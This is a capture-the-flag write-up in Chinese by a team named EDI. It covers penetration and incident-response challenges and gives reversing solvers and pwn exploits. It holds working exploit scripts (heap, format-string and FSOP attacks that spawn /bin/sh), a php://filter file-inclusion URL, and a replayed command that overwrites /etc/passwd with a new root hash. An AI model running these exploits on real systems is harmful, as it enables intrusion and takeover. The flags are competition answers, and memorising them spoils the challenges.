EDI
JOIN US ▶▶▶
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱[email protected]、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
1
题目
题目内容:您是一名渗透测试工程师,现在有一个渗透项目需要您和您的团队成员来完成,本次项目要求从外网区域向内网进行渗透,已经提供给您3个入口的IP地址,这三个IP可以直接访问,您可以通过技术手段去还原整体网络结构,在渗透过程中寻找漏洞并利用,我们在不同的漏洞点后面预先放置了一些flag字符串,这些flag并没有刻意隐藏,全部放置在需要渗透人员发现、查找、查看的位置。整套环境中共放置了20个flag,提交没有顺序要求,只要对应上提交框即可,但每个flag有提交5次的限制,5次提交机会用完后,此flag将不再允许提交,祝好运。昨天都录入好题目描述了,他们非瞎弄,给弄没了,那么多的小可爱。
flag1{9a0fe27c8bcc9aad51eda55e1b735eb5}
flag2{5399019c4053e1a5e756522fe94cdefe}
flag3{21db4fb5e7cd1d14f041436c4f50ce8c}
flag4{efba34b4991857a0c3639a0a31424041}
flag5{a40310f194e1abfec9581d026e29832c}
flag6{bf2bbf3cf5bf7fa02fcfd1f649a03a78}
flag7{cb8650fe07e6f4da7d9f1817b82eb019}
flag8{912ec803b2ce49e4a541068d495ab570}
flag9{ab67b0ec5c2d29c248e3aa9c7d31d620}
flag12{76e24b847fdf0208195fffba98731234}
flag14{8f552743a81f9bc517a35a5421e76764}
2
202.0.6.195
端口:
PORT STATE SERVICE
22/tcp open ssh
8888/tcp open sun-answerbook
8899/tcp open ospf-lite
3
202.0.6.194
端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
80:
[12:56:49] 200 – 0B – /ajax.php
[12:58:37] 200 – 567B – /dashboard.html
[13:00:36] 200 – 927B – /js/
[13:01:19] 200 – 626B – /manual/index.html
[13:05:13] 200 – 1KB – /uploads/
首页 提示包含flag.php
http://202.0.6.194:8080/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
爆破得到密码
4
202.0.6.193
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
3389/tcp open ms-wbt-server
[12:49:12] 200 – 29B – /.gitignore
[12:49:25] 200 – 6KB – /.jshintrc
[12:49:35] 200 – 589B – /.npmignore
[12:54:24] 200 – 1KB – /bower.json
[12:55:13] 200 – 586B – /CONTRIBUTING.md
[12:57:38] 200 – 5KB – /js/
[12:57:48] 200 – 1KB – /LICENSE.txt
[12:59:03] 200 – 2KB – /package.json
[13:01:40] 200 – 7KB – /test/
下载excel后看到flag7
1
题目
2
关卡1
通过分析ip看到了多个ip请求,最大的跟这个都有恶意访问 4444
202.1.1.1
202.1.1.129
3
关卡2
post请求值
password663399
4
关卡3
pic.jpg
5
关卡4
关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)
恶意文件
http://202.1.1.66:8080/api/upload
6
关卡5
关卡描述:黑客上传的webshell绝对路径是什么?
1.5
/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
7
关卡6
关卡描述:黑客上传的webshell的密码是什么?
bigpass
bing_pass
8
关卡7
关卡描述:黑客通过webshell执行的第一条命令是什么?
pwd
9
关卡8
关卡描述:黑客获取webshell时查询当前shell的权限是什么?
tomcat
10
关卡9
关卡描述:利用webshell查询服务器Linux系统发行版本是什么?
CentOS Linux release 7.4.1708 (Core)
11
关卡10
关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?
/usr/local/tomcat/webapps/ROOT/static/secert.file
12
关卡11
关卡描述:黑客通过反连执行的第一条命令是什么?
cat /etc/passwd
13
关卡12
关卡描述:黑客通过什么文件修改的root密码(绝对路径)
写入到/etc/passwd
/etc/passwd
14
关卡13
echo WLpoAWLex8nkqQ5
WLpoAWLex8nkqQ5
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
geoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
colord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin
pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
chrony:x:996:992::/var/lib/chrony:/sbin/nologin
tomcat:x:1000:1000::/home/tomcat:/bin/bash
echo -e "root:$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bashnbin:x:1:1:bin:/bin:/sbin/nologinndaemon:x:2:2:daemon:/sbin:/sbin/nologinnadm:x:3:4:adm:/var/adm:/sbin/nologinnlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinnsync:x:5:0:sync:/sbin:/bin/syncnshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownnhalt:x:7:0:halt:/sbin:/sbin/haltnmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnoperator:x:11:0:operator:/root:/sbin/nologinngames:x:12:100:games:/usr/games:/sbin/nologinnftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnnobody:x:99:99:Nobody:/:/sbin/nologinnavahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologinndbus:x:81:81:System message bus:/:/sbin/nologinnpolkitd:x:999:998:User for polkitd:/:/sbin/nologinntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologinnpostfix:x:89:89::/var/spool/postfix:/sbin/nologinnsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinnsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologinngeoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologinnrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologinncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologinnpulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologinngdm:x:42:42::/var/lib/gdm:/sbin/nologinnchrony:x:996:992::/var/lib/chrony:/sbin/nologinntomcat:x:1000:1000::/home/tomcat:/bin/bashn" > /etc/passwd
cat /etc/passwd
root:$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
geoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
colord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin
pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
chrony:x:996:992::/var/lib/chrony:/sbin/nologin
tomcat:x:1000:1000::/home/tomcat:/bin/bash
123456
15
关卡14
关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)
过滤ip里面可以看到全部的值,就看到了两个端口
一个是4444 一个是 9999多次提交就行
202.1.1.129:9999
16
关卡15
关卡描述:黑客通过后门反连执行的第一条命令是什么?
rpm -qa | grep pam
17
关卡16
关卡描述:黑客通过什么文件留下了后门?
so文件
pam_unix.so
18
关卡17
关卡描述:黑客设置的后门密码是什么?
ssh_back_pwd
19
关卡18
关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)
/tmp/.sshlog
1
crazyaes(re by 武汉大学国家网络安全学院)
然后IDA打开发现有UPX壳子,直接把PPP0和PPP1改成UPX0和UPX1就可以用upx脱壳了。脱壳后分析程序逻辑,发现就是将输入的16个字节进行魔改的AES_ECB加密,最后直接比较。主要魔改的地方有SubBytes与MixColumns,对应解密加上XOR 0xA1与XOR 0x54就行。同时每一轮开始的时候要异或回去。
key的第二位要修改一下,最终解密如下:
#include <iostream>
#include "aes.hpp"
int main() {
unsigned char answer[]{ 0x1E, 0xF6, 0xB9, 0xF8, 0xB4, 0x94, 0x94, 0x34, 0x04, 0xFD,
0xC9, 0xEF, 0x05, 0xAE, 0x85, 0xD9 };
answer[0] = 0xB4;
answer[1] = 0x38;
answer[2] = 0x36;
answer[3] = 0x30;
answer[4] = 0x1E;
answer[5] = 0x68;
answer[6] = 0x48;
answer[7] = 0x57;
answer[8] = 0x51;
answer[9] = 0x01;
answer[10] = 0xB7;
answer[11] = 0x03;
answer[12] = 0x9B;
answer[13] = 0x98;
answer[14] = 0xE3;
answer[15] = 0x7E;
AES_ctx ctx;
unsigned char key[] = "gah43jJKgfjGMeAR";
AES_init_ctx(&ctx, key);
AES_ECB_decrypt(&ctx, answer);
for (int i = 0; i < 16; ++i)
printf("%02X ", answer[i]);
printf("n");
for (int i = 0; i < 16; ++i)
printf("%c", answer[i]);
printf("n");
}
flag{Re_1ts_f0n}
2
puzzle(re by 武汉大学国家网络安全学院)
struct list_struct
{
unsigned __int8 data;
list_struct *next;
};
key的第二位要修改一下,最终解密如下:
程序逻辑比较简单,就是读入a就是乘2,读入b就减1再除3,可以提取出程序目标结果是 ISCC2024
写一个dfs搜索即可:
#include <iostream>
#include <string>
int ch2num(int ch)
{
return ch ^ 0x8D;
}
std::string final;
//
// aaa aaab
char record[0x100] = { 0 };
int index = 0;
bool done = false;
void solve(int x, char ch)
{
// start from 1, can n * 2 or (n - 1) / 3, need to get x
// 564 ab in total
if (done)
return;
record[index++] = ch;
if (x == 1)
{
for (int i = index; i > 0; --i)
final.push_back(record[i]);
final.push_back('-');
done = true;
return;
}
if (x % 2 == 0) {
solve(x / 2, 'a');
solve(x * 3 + 1, 'b');
}
else
{
solve(x * 3 + 1, 'b');
}
--index;
}
int main() {
char answer[] = "ISCC2024";
int table[8];
for (int i = 0; i < 8; ++i)
table[i] = ch2num(answer[i]) - (7 - i);
for (int i = 0; i < 8; ++i)
std::cout << table[i] << std::endl;
for (int i = 7; i >= 0; --i)
{
std::memset(record, 0, sizeof(record));
index = 0;
done = false;
solve(table[i], 0);
}
final.pop_back();
std::cout << final << std::endl;
}
/*
aaaabaaabaababaaababaaaababaababaaabaababaab-
aaaabaaaaabababaaabaaaabaabaabaaaababababaaababababababaababaabababaaabaababababaabababaab
abaaaabababababa-aaaabaaabaababaaababaaaabaaabababaaababaabab-
aaaabaaaaabababaaabaaaabaabaabaaaababababaaababababababaababaabababaaabaababababaabababaab
abaabaababababaa-aaaabaaabaababaaababaaaaba-aaaaaaaaaabababaab-
aaaabaaaaabababaaabaaaabaabaabaaaababababaaababababababaababaabababaaabaababababaabababaab
abaabaabababababaababaaa-
aaaabaaaaabababaaabaaaabaabaabaaaababababaaababababababaababaabababaaabaababababaabababaab
abaabaabababaaab
3
mapmap(re by 武汉大学国家网络安全学院)
程序主要逻辑是一个迷宫,直接分析迷宫的具体内容比较困难,尝试爆破。对程序做如下的patch:
1.将sub_404BD0的wrong_exit函数的输出修改,这样方便我们区分错误原因2. 将⻓度140校验移除
2.在0x404540处添加⻓度输出方便爆破成功的⻓度。(如下图)
我这里将wrong_exit的输出改为了false,与后面因为无效移动的wrong做了区分,这样就可以进行深搜爆破了。
脚 本如下:
import subprocess
def test_opt(data):
return subprocess.run(
"/mnt/d/CTF_Exercise/2024ccbfinal/mapmap/mapmap_p",
executable="/mnt/d/CTF_Exercise/2024ccbfinal/mapmap/mapmap_p",
input=data.encode(),
capture_output=True
).stdout
def is_wrong(output):
if b'false' in output:
return True
else:
return False
def get_enums(inp):
if (len(inp) == 0):
return ['w', 'a', 's', 'd']
last_c = inp[-1]
if last_c == 'w':
return ['w', 'a', 'd']
elif last_c == 'a':
return ['w', 'a', 's']
elif last_c == 's':
return ['a', 's', 'd']
elif last_c == 'd':
return ['w', 's', 'd']
ans = ''
x=0
y=0
vis = []
for i in range(39):
vis.append([0] * 39)
def check_ans(answ):
x=0
y=0
for ch in answ:
if ch == 'w':
y=y-1
elif ch == 'a':
x=x-1
elif ch == 's':
y=y+1
elif ch == 'd':
x=x+1
return (x, y)
def dfs(depth):
global vis
global x
global y
global ans
if depth == 140:
if x == 38 and y == 38:
print(ans)
exit(1)
return
enums = get_enums(ans)
for d in enums:
nx = x
ny = y
if d == 'w':
ny = ny - 1
elif d == 'a':
nx = nx - 1
elif d == 's':
ny = ny + 1
elif d == 'd':
nx = nx + 1
if nx < 0 or nx > 38 or ny < 0 or ny > 38:
continue
if vis[nx][ny] == 1:
continue
ans += d
outp = test_opt(ans)
if is_wrong(outp) == False:
oldx = x
oldy = y
vis[nx][ny] = 1
x = nx
y = ny
dfs(depth + 1)
x = oldx
y = oldy
vis[nx][ny] = 0
ans = ans[:-1]
vis[0][0] = 1
dfs(0)
故flag为 flag{f205f28a97000b7a21a5df3f9264d796}
4
power_system(pwn)
注意:题目端口7777 在这个电力系统中或许你能发现一些神奇的东西,给我flag之前不要断电哦。
import hashlib
pwd = 'e85000'
for i1 in range(1,0x100):
for i2 in range(0, 0x100):
for i3 in range(0, 0x100):
m = b'-%p-%p-%p-%p'+ bytes([i1,i2,i3]).replace(b'x00',b'')
rel = hashlib.sha256(m).hexdigest()
if rel[:6] == pwd:
print(m,rel)
input('>>')
exit(0)
•后面 直接 exit 触发 stderr链子,用的 cat 模板,然后直接动态调试即可
from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success(' 33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('202.0.5.76', 7777)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)
binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
gdbscript = '''
#brva 0x01DE1
#brva 0x01F96
b *_IO_wfile_seekoff
#continue
'''.format(**locals())
io = start(binary)
def login(pwd):
ru('>> ')
sl('2')
ru('account : ')
sl('QAQ')
ru('password : ')
sl(pwd)
def adjust(idx,size,text):
ru('>> ')
sl('2')
ru('power: ')
sl(str(idx))
ru('size: ')
sl(str(size))
ru('staff: ')
sl(text)
pwd = b'%p x19xe2'
pwd = b'-%p-%p-%p-x8cxb5x08'
pwd = b'-%p-%p-%p-%pxc0Rxb9'
login(pwd)
ru('-0x22-')
libc_base = int(ru('xc0'),16) - 2016704 + 0x80
#libc_base = int(ru('xc0'),16) - 0
lss('libc_base')
#exit(0)
lss('libc_base')
libc.address = libc_base
pay = flat({
0x00: 0,
0x28: 0xffffffff,
0x30: 1,
0x70: b'/bin/sh',
0x90: libc.sym['system'],
0x98: libc.sym['_IO_2_1_stderr_']+0x70,
0xa0: libc.sym['_IO_2_1_stderr_'],
0xd8: libc.symbols['_IO_wfile_jumps'] + 0x30, # vtable # 可以控制虚表的走向
0xe0: 0
}, filler=b"x00")
#gdb.attach(io,gdbscript)
adjust(-2,0,pay[8:])
ru('>> ')
sl('4')
sl(p64(0x31))
itr()
5
numberGame(pwn)
注意:题目端口5555 在一个名叫数字谷的村庄里,人们的名字都是根据他们出生时的特定数字来命名的。这个村庄的传统是,每年的秋天,他们都会举行一个盛大的数字游戏,名为“numberGame”。
•之前D3CTF 的php pwn题研究过,所以可以搞一搞
•调试方式,把 ubuntu 22的 gdbserver 上传到 docker 里面
./gdbserver :1234 php -S 0:8080
•然后就是调试了
•分析so
•正常情况下
•array 的size 被改
<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}
function leakaddr($buffer){
global $libc, $mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/numberGame.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
echo "n----1-----n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); #需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值
$heap = $rel[7];
$heap += ($rel[8] << 0x20);
$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008;
##
echo "n----heap-----n";
echo dechex($heap);
echo "n----4-----n";
echo $libc[1][0];
echo "n----4-----n";
#
$offset = ($str_got - $of) / 4;
$system = (hexdec($libc[1][0]) + 0x4c490);
echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system
edit_name(1,'1'); #
?>
6
BlindFlowanalyis(misc)
blind.zip
在webflow1.pcap里面发现secret表,并且里面含有私钥
在webflow2.pcap里面发现flagdata表,并且里面含有密文
并且都是用户对应用户,最后的用户都是admin
私钥
密文
然后编写脚本进行解密,注意admin私钥的开头有问题,需要将MTTC替换成正常的MIIC
from Crypto.PublicKey import RSA
import libnum
import gmpy2
# with open("private.pem", "rb") as f:
# key = RSA.import_key(f.read())
# print("n = %d" % key.n)
# print("e = %d" % key.e)
# print("d = %d" % key.d)
# print("p = %d" % key.p)
# print("q = %d" % key.q)
# strs = "MTTC3TBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIVLQmLXnlUYkCAggAMAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBCQKgOObf2BrhJ9tHvAb4oBIICgP3WaNdtO3oTAX1GjdqBL0f6HvFZ9q25EIOAah78rfhKNrJQP0uHHUnbIDKUZTSMwNZ7kNQAAnJPdjwhZVNbymCjUrVvqs0VD8GWncUlIIxrAkpsgqioABSKLoy280ubg2s1IV/sqbuuvN4ldPvnAvyrLLnNLgGyU86v2Q1ArFWfG4kgeZSpW06W6TwgeIZbjRSnLKFXx1VEhpZSCOadg/HOh8BfLbFlZiWgDiuTdVSzGq34fLV8jKYfUjhEffh/tCNhjU5E8M6ItqgXZYyjbBO2ujewBzV1JiBE0QvcavwT8JvV2IDQXBtQmBJZXH4Vqoo2n5YmUgUFDxoZSdAqOfh5kcgO0OgORhOrX/qNisaDfBMwGx2csywJBuSujzZ3ckV3Gv2ysMzRPKfyZ/v10zElsrKZHci2wDMZ4XYqNyvPDafWaxkSNXP64eYRS8J6WVgWycaPq0LkoJnuxtmOnlYlZ8cmY2zOf4WfyG7X+NhK6CllS0or2Y7fuqo80dmGTrg7cuVA1GguRMA6qZAOlbqu8zT53vGUOIHDRQFb8DUU5H6t+I3e0+0Qj8ZwgTtUMCx2/WLc0YAq18Al9okrtsxuYIQ815SSxXKOXZsX93hACLEFFkKOW7vNdBMJdVJnbPoaMotkDYtH/d8TYPrrtyOhPRa/Xl8BzA9J40Z3PE+5XaQfTC4Wx9GMb3y/Dv1lVXrAd9XvCPD8jr6tu+aQWpMAq0uLpF0kgyS/5FDfIpiEHMMuRQ+FBKS58HWVkX1yKNmXkljJRpwe53AHLuDgt+0LNhry+5ck2GFH7bkxU13WmotrtUtnSdIX7FZrQzbJmbwHiyMi7oGdKT7vxkr3aFY="
# for i in range(0,len(strs),64):
# print(strs[i:i+64])
# from Crypto.PublicKey import RSA
#
# # 读取加密的私钥文件
# file_in = open("private.pem", "rb")
# encrypted_key = file_in.read()
# file_in.close()
#
# # 密码爆破函数
# def passphrase_cracker():
# # 读取密码字典文件
# with open("pass.txt", "r",encoding="utf-8") as file:
# passwords = file.readlines()
#
# # 尝试每个密码
# for password in passwords:
# passphrase = password.strip()
# try:
# key = RSA.import_key(encrypted_key, passphrase=passphrase)
# print(f"Passphrase cracked: {passphrase}")
# print("n = %d" % key.n)
# print("e = %d" % key.e)
# print("d = %d" % key.d)
# print("p = %d" % key.p)
# print("q = %d" % key.q)
# break # 如果找到正确的密码,停止循环
# except ValueError:
# continue
#
#
# # 调用密码爆破函数
# passphrase_cracker()
n = 136024092362152689710172713899392826085562613819502637163574709012959800908069097569347489959246188000879909455954675900898187256462694001680199507890264369748020986792003039927832146357618380320485640247974651461597017754521523478582789651823653650205470697891883134131193787384293246455773119816555908050877
e = 65537
d = 96983349311172448114610684077344531859866705158061854017461211652174689366790434748659538326833645524163686606777761277160529104669611099325734812475218305914063705028257975357368955813173682894994622796568980398528404622799756620123598161913849740935593865664141149764560174893499019267153779766584891066853
p = 12048894621399454101058574170146672880023504304935502855438830209547540828334463319100866266089541071671086068945870668091434002554455832672446379382564831
q = 11289342021513486663717934560260253958877903230700176094000844663541917077757746704211638621740652499799934180688739478331856827700031454191788549757111267
c = "MDgnetOpihRoTmbreC2P7EQqkmeHloAWQ0SA2gKuHWPUP3u8u81ewsTnlyhvc7qLMMpVl36M9Z0Hu++yIKt2C/mimOFH04ixQAUo5y8h8vajw7vRLwfhpxC+pSjWvxjP2ieWVgdmXraijq92K6vdXod/SVaOyBT/1/asqhq1abQ="
import base64
c = base64.b64decode(c.encode())
c = libnum.s2n(c)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
flag{182w3t-he5dr4y8g-gy590-gggtd46nd-dgw3456utg676}
7
kernel(re)
#include<stdio.h>
void xtea_encryt(unsigned int rb, unsigned int *buf, int *key)
{
unsigned int v3; // [rsp+0h] [rbp-28h]
unsigned int v4; // [rsp+4h] [rbp-24h]
unsigned int v5; // [rsp+8h] [rbp-20h]
unsigned int i; // [rsp+Ch] [rbp-1Ch]
v4 = *buf;
v5 = buf[1];
v3 = 0;
for ( i = 0; i < rb; ++i )
{
v4 += (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
v3 -= 1640951535;
v5 += (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
}
*buf = v4;
buf[1] = v5;
}
void xtea_decrypt(unsigned int rb, unsigned int *buf, int *key)
{
unsigned int v3; // [rsp+0h] [rbp-28h]
unsigned int v4; // [rsp+4h] [rbp-24h]
unsigned int v5; // [rsp+8h] [rbp-20h]
unsigned int i; // [rsp+Ch] [rbp-1Ch]
v4 = *buf;
v5 = buf[1];
v3 = (0x100000000 - 1640951535) * rb;
for ( i = 0; i < rb; ++i )
{
v5 -= (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
v3 += 1640951535;
v4 -= (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
}
*buf = v4;
buf[1] = v5;
}
int main(){
int key[4];
key[0] = 0x1234;
key[1] = 0x3A4D;
key[2] = 0x5E6F;
key[3] = 0xAA33;
unsigned int tmp[2];
unsigned int flag[] = {0x8CCAF011, 0x835A03B8, 0x6DCC9BAD, 0xE671FA99, 0xE6011F35, 0xE5A56CC8, 0xD4847CFA, 0x5D8E0B8E};
for(int i=0;i<8;i+=2){
tmp[0] = flag[i];
tmp[1] = flag[i+1];
xtea_decrypt(33,tmp,key);
flag[i] = tmp[0];
flag[i+1] = tmp[1];
}
printf("%sn",&flag[0]);
}
flag{xLi1SSQzRzYw3MfHOPeJkACm4m}
8
Old_man_v1(pwn)
注意:题目端口9999
Old_man_v1.zip
from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
#io = process('./Old_man_v1')
#io = remote('202.0.5.60',9999)
libc = ELF('./libc-2.27.so')
def add(idx,size,text='A'):
ru(' neededn')
sl('1')
ru('add?n')
sl(str(idx))
ru('include?:n')
sl(str(size))
ru('about:n')
s(text)
def edit(idx,text):
ru(' neededn')
sl('3')
ru('edit?n')
sl(str(idx))
ru('about:n')
s(text)
def show(idx):
ru(' neededn')
sl('2')
ru('show?n')
sl(str(idx))
def rm(idx):
ru(' neededn')
sl('4')
ru('delete?n')
sl(str(idx))
add(0,0x600)
add(1,0x28)
add(2,0x28)
rm(0)
show(0)
libc_base = u64(r(8)) - 4111520
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
rm(1)
rm(2)
edit(2,p64(free_hook))
add(3,0x28,'/bin/sh;')
add(4,0x28,p64(system))
rm(3)
itr()
flag{c7e41125a9e433dd894dc1e427b61d82}
9
SandBoxShell(pwn)
from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success(' 33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('202.0.5.76',8888)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)
binary = './SandBoxShell'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
gdbscript = '''
#continue
'''.format(**locals())
io = start(binary)
pay = asm(shellcraft.cat('/flag'))
sl(pay)
#gdb.attach(io,gdbscript)
itr()
flag{b7a725b76dfef7aef18066b3a7c54df4}
10
Zip_guessinteger(misc)
ZIP包竟然加密了,快上我的暴力破解工具。难道我需要一个量子算力吗?能否使点巧力猜猜?
zip_guessinteger.zip
明文攻击得到key
flag{ea4c4090-a512-47ed-a817-8771e1640a63}
11
aesweblog(misc)
